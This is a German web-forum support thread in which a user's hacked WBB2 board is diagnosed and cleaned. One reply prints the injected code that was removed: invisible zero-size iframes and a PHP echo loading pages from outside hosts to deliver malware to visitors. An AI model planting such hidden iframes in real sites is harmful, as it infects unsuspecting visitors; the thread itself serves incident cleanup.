Hilfe mein Forum ist weg!!!

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

1

Samstag, 23. Januar 2010, 13:59

Das ist eine Schablone. Bitte fülle sie vollständig aus !

Beschreibung des Problems: Hallo!
Ich wollte gerade in mein Forum und da ist nix mehr ausser irgendwelche Schriftzeichen

Fehlermeldung: Keine! Es sind nur schriftzeichen

Url und/oder Screenshoot:
http://www.beautyredeeck.de/wbb2/index.php

Zuletzt eingebaute Hacks/Addons:
Bier ausgeben und Rosen verschenken! Aber das ist schon ne weile her

Bitte noch folgendes ankreuzen:

[x ]Support durch User erwünscht
[ ]Support nur durch das Team

»Missy« hat folgende Datei angehängt:

Unbenannt - 1.jpg (139,87 kB - 10 mal heruntergeladen - zuletzt: 1. Februar 2010, 10:34)

Zum Seitenanfang

jacqy

Admina&Webmasterin

Beiträge: 5 877

Aktivitätspunkte: 31 765

Registrierungsdatum: 16. März 2008

Wohnort: Murnau (hergezogen)

WBB Version: alle

Danksagungen: 148 / 19

2

Samstag, 23. Januar 2010, 14:04

wurde irgendwas an der index.php oder global.php geändert und diese im falschen modus hochgeladen?

Signatur von »jacqy«

Ich gebe kein Support via:
Email,PN,ICQ,MSN oder sonstigen Messengers!

Dafür ist das Forum da und das entsprechende Thread!

Gebt für ein neues Thread einen aussagekräftigen Titel an! So ist es leichter, diesen später wieder zu finden. Benutzt die SUFU!

♥Bones-Die Knochenjägerin♥
♥Bones&Booth♥ :daumenhoch:

http://www.youtube.com/watch?v=VlnBLUU43Ic&feature=channel&list=UL

Zum Seitenanfang

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

3

Samstag, 23. Januar 2010, 14:05

ne ich wüßte net!
Hab nix geändert oder sonstiges!!
Vorgestern war noch alles ok und heute dann sowas!! und den letzten Style hab ich im Herbst eingebaut und das war es!!

Kann man da noch was retten????

Zum Seitenanfang

jacqy

Admina&Webmasterin

Beiträge: 5 877

Aktivitätspunkte: 31 765

Registrierungsdatum: 16. März 2008

Wohnort: Murnau (hergezogen)

WBB Version: alle

Danksagungen: 148 / 19

4

Samstag, 23. Januar 2010, 14:15

kann ich bitte mal daten haben?

Signatur von »jacqy«

Ich gebe kein Support via:
Email,PN,ICQ,MSN oder sonstigen Messengers!

Dafür ist das Forum da und das entsprechende Thread!

Gebt für ein neues Thread einen aussagekräftigen Titel an! So ist es leichter, diesen später wieder zu finden. Benutzt die SUFU!

♥Bones-Die Knochenjägerin♥
♥Bones&Booth♥ :daumenhoch:

http://www.youtube.com/watch?v=VlnBLUU43Ic&feature=channel&list=UL

Zum Seitenanfang

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

5

Samstag, 23. Januar 2010, 14:21

Hab ich Dir per PN gesendet!!!
Danke

Zum Seitenanfang

jacqy

Admina&Webmasterin

Beiträge: 5 877

Aktivitätspunkte: 31 765

Registrierungsdatum: 16. März 2008

Wohnort: Murnau (hergezogen)

WBB Version: alle

Danksagungen: 148 / 19

6

Samstag, 23. Januar 2010, 14:49

so puh dein board ist wieder da ..in der index.php waren 2 schädliche codes..

habe spasseshalber mal die seite kopiert und geöffnet ,obwohl ich mir dachte das die ein virus bzw trojaner enthält...lol mein pc hat sich gleich aufgehangen.. :motz:

ich glaube ich mach erst mal n virencheck..

naja deinb board geht wieder

Signatur von »jacqy«

Ich gebe kein Support via:
Email,PN,ICQ,MSN oder sonstigen Messengers!

Dafür ist das Forum da und das entsprechende Thread!

Gebt für ein neues Thread einen aussagekräftigen Titel an! So ist es leichter, diesen später wieder zu finden. Benutzt die SUFU!

♥Bones-Die Knochenjägerin♥
♥Bones&Booth♥ :daumenhoch:

http://www.youtube.com/watch?v=VlnBLUU43Ic&feature=channel&list=UL

Zum Seitenanfang

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

7

Samstag, 23. Januar 2010, 15:44

Oh vielen vielen Dank

Zum Seitenanfang

jacqy

Admina&Webmasterin

Beiträge: 5 877

Aktivitätspunkte: 31 765

Registrierungsdatum: 16. März 2008

Wohnort: Murnau (hergezogen)

WBB Version: alle

Danksagungen: 148 / 19

8

Samstag, 23. Januar 2010, 17:25

Bitte

Würde mal zur Sicherheit PW´s ändern.

Signatur von »jacqy«

Ich gebe kein Support via:
Email,PN,ICQ,MSN oder sonstigen Messengers!

Dafür ist das Forum da und das entsprechende Thread!

Gebt für ein neues Thread einen aussagekräftigen Titel an! So ist es leichter, diesen später wieder zu finden. Benutzt die SUFU!

♥Bones-Die Knochenjägerin♥
♥Bones&Booth♥ :daumenhoch:

http://www.youtube.com/watch?v=VlnBLUU43Ic&feature=channel&list=UL

Zum Seitenanfang

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

9

Sonntag, 31. Januar 2010, 21:09

hm jetzt geht es Forum wieder aber wenn ich auf neue Beiträge gehe und da dann nen Beitrag anklicke kommt das: http://son-marin.ru/voi/index.php?threadid=7248

Was kann das sein?? Man ich bekomm noch ne Krise!!!

Zum Seitenanfang

Andy

Trusted Members

Beiträge: 4 410

Aktivitätspunkte: 23 420

Registrierungsdatum: 22. März 2008

Wohnort: Lohr

WBB Version: alle

Danksagungen: 97 / 11

10

Sonntag, 31. Januar 2010, 21:25

Deine Webseite liefert Viren oder Malware aus. Überprüfe bitte deine Templates und Dateien auf dem FTP auf unüblichen Code oder einen eventuellen Hackangriff. Solltest du nichts finden melde das Problem bitte deinem Webhoster. Evtl. wurde auch der komplette Webserver gehackt.

Bis dahin betrete die Seite bitte ausschließich mit aktiviertem Virenscanner mit aktuellen Virensignaturdateien.

Wechsle im Zweifelsfall den Referrer. .ru führt nach Russland. Diese Referrer sind berüchtigt dafür das sie von Zeit zu Zeit Schädliche Software ausliefern.

Zum Seitenanfang

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

11

Montag, 1. Februar 2010, 06:52

Überprüfe bitte deine Templates und Dateien auf dem FTP auf unüblichen
Code oder einen eventuellen Hackangriff.

Hm nach was muß ich denn da genau schauen?? hab keine ahnung von sowas!

Zum Seitenanfang

Andy

Trusted Members

Beiträge: 4 410

Aktivitätspunkte: 23 420

Registrierungsdatum: 22. März 2008

Wohnort: Lohr

WBB Version: alle

Danksagungen: 97 / 11

12

Montag, 1. Februar 2010, 11:19

Zum Beispiel Zahlen-/Buchstaben-/Sonderzeichenkombinationen die für dich keinen Sinn ergeben.
Bei sowas handelt es sich dann meistens um verschlüsselten Schadcode.

Zum Seitenanfang

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

13

Montag, 1. Februar 2010, 13:51

hm ich find jetzt nix, da sind zwar en paar codes mit ner menge zahlen aber ich hab keine ahnung ob es das ist!!

Zum Seitenanfang

Andy

Trusted Members

Beiträge: 4 410

Aktivitätspunkte: 23 420

Registrierungsdatum: 22. März 2008

Wohnort: Lohr

WBB Version: alle

Danksagungen: 97 / 11

14

Montag, 1. Februar 2010, 13:52

Poste einfach mal das wo du dir nicht sicher bist. Dann können wir dir sagen ob der Code schädlich ist oder nicht.

Zum Seitenanfang

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

15

Montag, 1. Februar 2010, 13:58

in diesem Ordner /htdocs/wbb2/acp/image_data/

»Missy« hat folgende Datei angehängt:

Unbenannt - 1.jpg (72,98 kB - 11 mal heruntergeladen - zuletzt: 7. Februar 2010, 00:03)

Zum Seitenanfang

Andy

Trusted Members

Beiträge: 4 410

Aktivitätspunkte: 23 420

Registrierungsdatum: 22. März 2008

Wohnort: Lohr

WBB Version: alle

Danksagungen: 97 / 11

16

Montag, 1. Februar 2010, 14:02

Das gehört da hin.

Edit Das Forum wurde definitiv gehackt. Der Schadecode wird über einen unsichtbaren Iframe geladen. Du solltest dir Gedanken über ein Sicherheitssystem machen. Am besten wäre das CT-Security System in der kostenpflichtigen Variante. Desweiteren sollten nachdem die Codestellen entfernt wurden bitte alle User ihre Passwörter ändern. Dir selbst würdeich nahelegen sowohl das FTP Passwort sowie das MySQL-Passwort zu ändern.

Zum Seitenanfang

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

17

Montag, 1. Februar 2010, 14:02

hm dann muß ich mal weiter schauen!! gibt es noch ne andre möglichkeit??? bin im FTP echt ne niete!! bin froh das ich meine Styles drauf bekomme :heul:

Zum Seitenanfang

Andy

Trusted Members

Beiträge: 4 410

Aktivitätspunkte: 23 420

Registrierungsdatum: 22. März 2008

Wohnort: Lohr

WBB Version: alle

Danksagungen: 97 / 11

18

Montag, 1. Februar 2010, 14:04

Gib mir bitte mal die Zugangsdaten zum ACP und zum FTP.

Zum Seitenanfang

Missy

Supported User

Beiträge: 30

Aktivitätspunkte: 170

Registrierungsdatum: 18. März 2008

Wohnort: Kettig

19

Montag, 1. Februar 2010, 14:06

hab dir ne pn geschickt!! Danke

Zum Seitenanfang

Andy

Trusted Members

Beiträge: 4 410

Aktivitätspunkte: 23 420

Registrierungsdatum: 22. März 2008

Wohnort: Lohr

WBB Version: alle

Danksagungen: 97 / 11

20

Montag, 1. Februar 2010, 14:22

Das Problem sollte jetzt behoben sein.

Der Code wurde jeweils in die index.php und acp/index.php eingeschleust.

Quellcode

<iframe src='http://pumpidss.com/index.php?s=3ad9361a36c374be1b3dcd9f6384d8e2' style='display: none;'></iframe><iframe iccmc='nU2fk' src='http://281B.com/in.cgi?8 ' wcxjb='QMXjE' width='0' height='0' style='display:none'></iframe>echo '<div style="display:none">eddsfsdfsd<iframe width=2 height=2 src="http://281B.com/in.cgi?8"></iframe> </div> ';

Das Forum wurde also ganz klar gehackt.

Ändere bitte SÄMTLICHE Passwörter, Insbesondere das FTP-Passwort. Bitte ebenso deine User ihre Passwörter zu ändern. Ziehe bitte in Erwägung auf die kostenpflichtige Version des CT-Security Systems umzusteigen. Die kostenlose Variante hält nicht alle Angriffe ab.

Zum Seitenanfang

Hackeinbau Service